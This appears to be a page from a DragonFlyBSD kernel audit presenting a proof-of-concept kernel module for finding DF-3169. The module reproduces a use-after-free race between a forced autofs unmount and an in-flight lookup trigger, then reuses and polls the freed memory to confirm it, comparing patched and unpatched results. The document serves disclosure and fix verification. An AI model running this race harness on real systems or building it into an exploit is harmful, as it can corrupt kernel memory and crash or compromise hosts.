⬢ DragonFlyBSD Kernel Audit
DF-3169 / df3169_race.c
← back to finding ↓ download raw
/*
 * DF-3169 v3 — autofs umount -f vs in-flight-trigger UAF, VOP-path harness.
 *
 * The trigger is driven by a real USERSPACE stat() loop (started by
 * run.sh before kldload), so it enters through VOP_NRESOLVE ->
 * autofs_nresolve -> autofs_trigger_vn -> autofs_trigger exactly like
 * production lookups.  This kld only:
 *   1. waits until the churn's first trigger request is on the TAILQ,
 *   2. calls the REAL dounmount(mp, MNT_FORCE, 0),
 *   3. re-allocates the freed amp/node blocks (same CPU magazine =>
 *      SAME-BLOCK reuse, marker 0x41 in amp) to make post-free
 *      accesses observable,
 *   4. polls the freed node's an_retries and the sc_requests TAILQ.
 *
 * UNPATCHED expectation (see run.log):
 *   dounmount returns in ~1-2 s (it freed everything while the stat's
 *   trigger was parked in its 2 s retry gap), then:
 *     DANGLING REQUEST ... ar_mount=<freed amp>; ar_from="AAAA..."
 *     POLL: an_retries N->N+1 <== WRITE-AFTER-FREE  (x many)
 *
 * PATCHED expectation (fix.diff: vfs_busy wraps the vop bodies;
 * see fix_run.log):
 *   dounmount BLOCKS on mnt_lock EX until the stat's trigger exhausts
 *   all 12 attempts (~36 s) -> dounmount_ticks is large, ZERO dangling
 *   requests, ZERO post-free an_retries transitions.
 *
 * Prerequisites (root; run.sh does all of this):
 *   kldload autofs
 *   sysctl vfs.autofs.timeout=1 vfs.autofs.retry_attempts=12 \
 *          vfs.autofs.retry_delay=2 vfs.autofs.interruptible=1 \
 *          vfs.autofs.debug=0
 *   mount_autofs -f df3169 "" /df3169_mp
 *   ( while :; do stat /df3169_mp/key >/dev/null 2>&1; done ) &
 *   kldload ./df3169_race.ko
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/vnode.h>
#include <sys/mutex2.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/types.h>
#include <sys/queue.h>

#include <vfs/autofs/autofs.h>

extern struct mntlist mountlist;

static struct mount *g_mp;
static struct autofs_mount *g_amp;
static struct autofs_node *g_anp;
static struct autofs_mount *g_reuse_amp;
static struct autofs_node *g_reuse_node;
static int g_dounmount_ticks = -1;
static int g_dangling_seen;
static int g_waf_count;
static int g_pre_umount_last_id;

static void
dump_str32(const char *tag, const char *s)
{
	char buf[33];
	int i;

	for (i = 0; i < 32; i++) {
		if (s[i] == 0)
			break;
		buf[i] = (s[i] >= 0x20 && s[i] < 0x7f) ? s[i] : '.';
	}
	buf[i] = 0;
	kprintf("DF3169:   %s=\"%s\"%s\n", tag, buf, i == 32 ? "..." : "");
}

static int
df3169_load(struct module *m, int what, void *arg)
{
	struct mount *mp;
	int error;
	int last_retries;
	int i;

	switch (what) {
	case MOD_LOAD:
		kprintf("DF3169: harness loaded, scanning for autofs mount...\n");

		TAILQ_FOREACH(mp, &mountlist, mnt_list) {
			if (strncmp(mp->mnt_stat.f_fstypename, "autofs",
			    MFSNAMELEN) == 0)
				break;
		}
		if (mp == NULL) {
			kprintf("DF3169: ERROR: no autofs mount found; "
			    "run run.sh first.\n");
			return (ENODEV);
		}

		g_mp = mp;
		g_amp = VFSTOAUTOFS(mp);
		g_anp = g_amp->am_root;
		g_pre_umount_last_id = autofs_softc->sc_last_request_id;
		kprintf("DF3169: mp=%p amp=%p root anp=%p last_request_id=%d\n",
		    g_mp, g_amp, g_anp, g_pre_umount_last_id);

		/*
		 * Wait for the userspace churn's first trigger request to
		 * appear on the TAILQ (stat -> nresolve -> trigger).
		 */
		for (i = 0; i < 50; i++) {
			struct autofs_request *ar;
			int have = 0;

			mtx_lock_ex_quick(&autofs_softc->sc_lock);
			TAILQ_FOREACH(ar, &autofs_softc->sc_requests, ar_next)
				have = 1;
			mtx_unlock_ex(&autofs_softc->sc_lock);
			if (have)
				break;
			tsleep(&g_waf_count, 0, "df3169_wait", hz / 10);
		}
		if (i == 50) {
			kprintf("DF3169: ERROR: no trigger request appeared; "
			    "is the stat churn running?\n");
			return (ENODEV);
		}
		kprintf("DF3169: churn trigger observed (ticks=%d); calling "
		    "dounmount(MNT_FORCE)\n", ticks);

		error = dounmount(g_mp, MNT_FORCE, 0);
		g_dounmount_ticks = ticks;
		/*
		 * UNPATCHED: returning here means autofs_unmount completed
		 * -- every autofs_node and the autofs_mount are freed while
		 * the stat thread is parked in its 2 s retry gap.
		 * PATCHED: dounmount blocked on mnt_lock EX until the stat
		 * thread's trigger finished; nothing is freed under it.
		 */
		kprintf("DF3169: dounmount returned %d (ticks=%d, "
		    "dounmount_ticks=%d)\n", error, ticks, g_dounmount_ticks);

		/* Make post-free accesses observable (same-CPU magazines). */
		g_reuse_amp = kmalloc(sizeof(struct autofs_mount), M_AUTOFS,
		    M_WAITOK | M_ZERO);
		memset(g_reuse_amp, 0x41, sizeof(struct autofs_mount));
		((char *)g_reuse_amp)[sizeof(struct autofs_mount) - 1] = 0;
		g_reuse_node = objcache_get(autofs_node_objcache, M_WAITOK);
		kprintf("DF3169: reuse blocks: amp %p (freed amp was %p)%s, "
		    "node %p (freed anp was %p)%s\n",
		    g_reuse_amp, g_amp,
		    g_reuse_amp == g_amp ? " SAME-BLOCK" : "",
		    g_reuse_node, g_anp,
		    g_reuse_node == g_anp ? " SAME-BLOCK" : "");

		last_retries = -1;
		for (i = 0; i < 450; i++) {
			int cur = g_anp->an_retries;	/* read freed memory */
			int post = g_dounmount_ticks != -1 &&
			    ticks > g_dounmount_ticks;

			if (cur != last_retries) {
				if (last_retries != -1 && post) {
					g_waf_count++;
					kprintf("DF3169 POLL: freed anp=%p "
					    "an_retries: %d -> %d (ticks=%d)"
					    "  <== WRITE-AFTER-FREE\n",
					    g_anp, last_retries, cur, ticks);
				} else {
					kprintf("DF3169 POLL: anp=%p "
					    "an_retries: %d -> %d (ticks=%d)"
					    "%s\n", g_anp, last_retries, cur,
					    ticks, post ? "" :
					    "  (pre-free/umount-busy)");
				}
				last_retries = cur;
			}
			if (!g_dangling_seen) {
				struct autofs_request *ar;

				mtx_lock_ex_quick(&autofs_softc->sc_lock);
				TAILQ_FOREACH(ar, &autofs_softc->sc_requests,
				    ar_next) {
					if (ar->ar_mount == g_amp) {
						kprintf("DF3169: DANGLING "
						    "REQUEST ar=%p id=%d "
						    "ar_mount=%p == FREED amp "
						    "(ticks=%d, dounmount_"
						    "ticks=%d)\n", ar, ar->ar_id,
						    ar->ar_mount, ticks,
						    g_dounmount_ticks);
						dump_str32("ar_from",
						    ar->ar_from);
						dump_str32("ar_path",
						    ar->ar_path);
						g_dangling_seen = 1;
						break;
					}
				}
				mtx_unlock_ex(&autofs_softc->sc_lock);
			}
			tsleep(&g_waf_count, 0, "df3169_poll", hz / 10);
		}

		kprintf("DF3169: SUMMARY dounmount_ticks=%d dangling=%d "
		    "write_after_free_transitions=%d last_request_id %d -> %d\n",
		    g_dounmount_ticks, g_dangling_seen, g_waf_count,
		    g_pre_umount_last_id,
		    autofs_softc->sc_last_request_id);
		if (g_waf_count == 0 && g_dangling_seen == 0)
			kprintf("DF3169: CLEAN - no post-free access "
			    "(fix active?)\n");
		else
			kprintf("DF3169: UAF CONFIRMED - post-free accesses "
			    "observed\n");

		objcache_put(autofs_node_objcache, g_reuse_node);
		kfree(g_reuse_amp, M_AUTOFS);
		return (0);

	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df3169_mod = {
	"df3169_race",
	df3169_load,
	NULL
};

DECLARE_MODULE(df3169_race, df3169_mod, SI_SUB_PSEUDO, SI_ORDER_ANY);
MODULE_DEPEND(df3169_race, autofs, 1, 1, 1);